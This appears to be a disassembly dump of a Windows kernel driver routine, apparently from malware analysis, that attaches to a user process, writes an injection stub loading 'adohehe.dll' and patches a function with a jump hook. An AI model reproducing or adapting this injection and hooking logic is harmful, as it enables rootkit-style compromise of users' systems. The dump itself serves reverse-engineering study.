Function at 0x15f30
Capabilities:
Attach user process memory

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x388
mov rax, qword [0x0001a100]
xor rax, rsp
mov qword [rsp + 0x370], rax
mov dword [rsp + 0x50], 0xc0000001
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x50], 0xc0000001
call qword [sym.imp.ntoskrnl.exe_ExGetPreviousMode]
mov byte [rsp + 0x4c], al
cmp qword [0x0001f170], 0
je 0x15fbd
cmp qword [0x0001f178], 0
je 0x15fbd
cmp qword [0x0001f1b8], 0
je 0x15fbd
cmp qword [0x0001f1a8], 0
je 0x15fbd
cmp qword [0x0001f198], 0
je 0x15fbd
cmp qword [0x0001f188], 0
jne 0x16195
mov dword [rsp + 0x54], 0
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov r8d, dword [rsp + 0x54]
lea rdx, [0x00018540]
mov rcx, qword [rsp + 0x3a8]
call fcn.00015a40
mov qword [0x0001f1b8], rax
mov r8d, dword [rsp + 0x54]
lea rdx, [0x00018560]
mov rcx, qword [rsp + 0x3a8]
call fcn.00015a40
mov qword [0x0001f1a8], rax
mov r8d, dword [rsp + 0x54]
lea rdx, [0x00018580]
mov rcx, qword [rsp + 0x3a8]
call fcn.00015a40
mov qword [0x0001f198], rax
mov r8d, dword [rsp + 0x54]
lea rdx, [0x000185a0]
mov rcx, qword [rsp + 0x3a8]
call fcn.00015a40
mov qword [0x0001f188], rax
mov r8d, dword [rsp + 0x54]
lea rdx, [0x000185c0]
mov rcx, qword [rsp + 0x3a8]
call fcn.00015a40
mov qword [0x0001f170], rax
mov r8d, dword [rsp + 0x54]
lea rdx, [0x000185d0]
mov rcx, qword [rsp + 0x3a8]
call fcn.00015a40
mov qword [0x0001f178], rax
cmp qword [0x0001f1b8], 0
je 0x16118
cmp qword [0x0001f1a8], 0
je 0x16118
cmp qword [0x0001f198], 0
je 0x16118
cmp qword [0x0001f188], 0
je 0x16118
mov rax, qword [0x0001f1b8]
mov ecx, dword [rax + 1]
call fcn.00015d20
mov qword [0x0001f1b0], rax
mov rax, qword [0x0001f1a8]
mov ecx, dword [rax + 1]
call fcn.00015d20
mov qword [0x0001f1a0], rax
mov rax, qword [0x0001f198]
mov ecx, dword [rax + 1]
call fcn.00015d20
mov qword [0x0001f190], rax
mov rax, qword [0x0001f188]
mov ecx, dword [rax + 1]
call fcn.00015d20
mov qword [0x0001f180], rax
mov rax, qword [0x0001f198]
mov qword [rsp + 0x30], rax
mov rax, qword [0x0001f1a8]
mov qword [rsp + 0x28], rax
mov rax, qword [0x0001f1b8]
mov qword [rsp + 0x20], rax
mov r9, qword [0x0001f188]
mov r8, qword [0x0001f178]
mov rdx, qword [0x0001f170]
lea rcx, [0x000185e0]
call fcn.00013920
mov rdx, qword [0x0001f180]
mov qword [rsp + 0x20], rdx
mov r9, qword [0x0001f1a0]
mov r8, qword [0x0001f190]
mov rdx, qword [0x0001f1b0]
lea rcx, [0x00018680]
call fcn.00013920
lea rcx, [rsp + 0x58]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
cmp qword [0x0001f170], 0
je 0x16828
cmp qword [0x0001f178], 0
je 0x16828
cmp qword [0x0001f1a0], 0
je 0x16828
cmp qword [0x0001f190], 0
je 0x16828
cmp qword [0x0001f1b0], 0
je 0x16828
cmp qword [0x0001f180], 0
je 0x16828
mov qword [rsp + 0x88], 0
mov byte [rsp + 0xc0], 0
lea rdi, [rsp + 0xc1]
xor eax, eax
mov ecx, 0x27f
rep stosb byte [rdi], al
mov dword [rsp + 0x90], 0
mov byte [rsp + 0x340], 0xe9
mov byte [rsp + 0x341], 0
mov byte [rsp + 0x342], 0
mov byte [rsp + 0x343], 0
mov byte [rsp + 0x344], 0
mov dword [rsp + 0xbc], 0
mov byte [rsp + 0xb0], 0xe9
mov byte [rsp + 0xb1], 0
mov byte [rsp + 0xb2], 0
mov byte [rsp + 0xb3], 0
mov byte [rsp + 0xb4], 0
mov dword [rsp + 0xb8], 0
mov rax, qword [0x0001f178]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 5
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x1fffff
xor r8d, r8d
mov edx, 0x200
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.ntoskrnl.exe_ObOpenObjectByPointer]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jl 0x16828
mov r8d, 0x1000
mov rdx, qword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x40]
call fcn.00015da0
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
jne 0x1633b
movsx eax, byte [rsp + 0x4c]
cmp eax, 1
jne 0x1631d
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
movsx eax, byte [rsp + 0x4c]
test eax, eax
jne 0x16331
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_NtClose]
mov eax, 0xffffffff
jmp 0x1685f
mov rdx, qword [rsp + 0x88]
lea rcx, [0x00018700]
call fcn.00013920
lea rdi, [rsp + 0xc0]
lea rsi, [0x0001a180]
mov ecx, 0x1b
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0xe5]
lea rsi, [0x0001a120]
mov ecx, 0x5f
rep movsb byte [rdi], byte [rsi]
mov rax, qword [0x0001f178]
mov qword [rsp + 0x150], rax
lea rdi, [rsp + 0xdb]
mov rsi, qword [0x0001f178]
mov ecx, 5
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x160]
lea rcx, [rsp + 0xc0]
sub eax, ecx
add eax, dword [rsp + 0x88]
mov eax, eax
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 5
mov rax, qword [0x0001f1b8]
mov qword [rsp + 0x170], rax
mov rax, qword [0x0001f170]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x178]
lea rcx, [rsp + 0xc0]
sub eax, ecx
add eax, dword [rsp + 0x88]
mov eax, eax
mov qword [rsp + 0x178], rax
mov rax, qword [0x0001f1a8]
mov qword [rsp + 0x180], rax
lea rax, str.C:Program_FilesCommon_FilesSystem_adohehe.dll
mov qword [rsp + 0x350], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x350]
movzx eax, word [rax]
mov word [rsp + 0x368], ax
mov rcx, qword [rsp + 0x358]
movzx eax, word [rsp + 0x368]
mov word [rcx], ax
mov rax, qword [rsp + 0x350]
add rax, 2
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x358]
add rax, 2
mov qword [rsp + 0x358], rax
cmp word [rsp + 0x368], 0
jne 0x1644e
xor eax, eax
mov rcx, 0xffffffffffffffff
lea rdi, str.C:Program_FilesCommon_FilesSystem_adohehe.dll
repne scasw ax, word [rdi]
not rcx
sub rcx, 1
mov rax, rcx
shl rax, 1
mov word [rsp + 0x188], ax
xor eax, eax
mov rcx, 0xffffffffffffffff
lea rdi, str.C:Program_FilesCommon_FilesSystem_adohehe.dll
repne scasw ax, word [rdi]
not rcx
sub rcx, 1
mov rax, rcx
shl rax, 1
mov word [rsp + 0x18a], ax
mov eax, dword [rsp + 0x88]
lea eax, [rsp + rax + 0x190]
lea rcx, [rsp + 0xc0]
sub eax, ecx
mov dword [rsp + 0x18c], eax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0xc0]
sub ecx, eax
mov eax, dword [rsp + 0x88]
add eax, ecx
mov dword [rsp + 0x90], eax
mov ecx, dword [rsp + 0x90]
mov eax, dword [0x0001f178]
sub eax, ecx
mov dword [rsp + 0xbc], eax
mov eax, dword [rsp + 0xbc]
mov dword [rsp + 0x341], eax
lea rdi, [rsp + 0xe0]
lea rsi, [rsp + 0x340]
mov ecx, 5
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd6]
mov ecx, eax
lea rax, [rsp + 0xe5]
sub eax, ecx
mov dword [rsp + 0xbc], eax
mov eax, dword [rsp + 0xbc]
mov dword [rsp + 0xd2], eax
lea rax, [rsp + 0x158]
lea rcx, [rsp + 0xc0]
sub eax, ecx
add eax, dword [rsp + 0x88]
mov dword [rsp + 0xbc], eax
mov rax, qword [0x0001f170]
mov qword [rsp + 0x148], rax
mov eax, dword [rsp + 0xbc]
mov dword [rsp + 0xef], eax
lea rax, [rsp + 0x188]
lea rcx, [rsp + 0xc0]
sub eax, ecx
add eax, dword [rsp + 0x88]
mov dword [rsp + 0xbc], eax
mov eax, dword [rsp + 0xbc]
mov dword [rsp + 0xf4], eax
mov eax, dword [rsp + 0x148]
mov dword [rsp + 0xfd], eax
mov eax, dword [rsp + 0x160]
mov dword [rsp + 0x104], eax
lea rax, [rsp + 0x168]
lea rcx, [rsp + 0xc0]
sub eax, ecx
add eax, dword [rsp + 0x88]
mov dword [rsp + 0xbc], eax
mov eax, dword [rsp + 0xbc]
mov dword [rsp + 0x10b], eax
lea rax, [rsp + 0x150]
lea rcx, [rsp + 0xc0]
sub eax, ecx
add eax, dword [rsp + 0x88]
mov dword [rsp + 0xbc], eax
mov eax, dword [rsp + 0xbc]
mov dword [rsp + 0x110], eax
mov eax, dword [rsp + 0x170]
mov dword [rsp + 0x117], eax
mov eax, dword [rsp + 0x178]
mov dword [rsp + 0x11e], eax
lea rax, [rsp + 0xdb]
lea rcx, [rsp + 0xc0]
sub eax, ecx
add eax, dword [rsp + 0x88]
mov dword [rsp + 0xbc], eax
mov eax, dword [rsp + 0xbc]
mov dword [rsp + 0x125], eax
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0x12a], eax
mov eax, dword [rsp + 0x180]
mov dword [rsp + 0x131], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x280
lea r8, [rsp + 0xc0]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x40]
call qword [0x0001f1a0]
mov dword [rsp + 0x50], eax
mov ecx, dword [0x0001f178]
mov eax, dword [rsp + 0x88]
sub eax, ecx
sub eax, 5
mov dword [rsp + 0xbc], eax
mov eax, dword [rsp + 0xbc]
mov dword [rsp + 0xb1], eax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0x40]
call qword [0x0001f1b0]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jl 0x167cd
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 5
lea r8, [rsp + 0xb0]
mov rdx, qword [0x0001f178]
mov rcx, qword [rsp + 0x40]
call qword [0x0001f1a0]
lea rdx, [rsp + 0xb8]
mov qword [rsp + 0x20], rdx
mov r9d, dword [rsp + 0xb8]
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0x40]
call qword [0x0001f1b0]
movsx eax, byte [rsp + 0x4c]
cmp eax, 1
jne 0x167f9
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
cmp dword [rsp + 0x50], 0
jge 0x167f9
mov edx, dword [rsp + 0x50]
lea rcx, [0x00018720]
call fcn.00013920
movsx eax, byte [rsp + 0x4c]
test eax, eax
jne 0x16828
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_NtClose]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x16828
mov edx, dword [rsp + 0x50]
lea rcx, [0x00018760]
call fcn.00013920
jmp 0x1685b
mov eax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.00017030
add rsp, 0x388
pop rdi
pop rsi
ret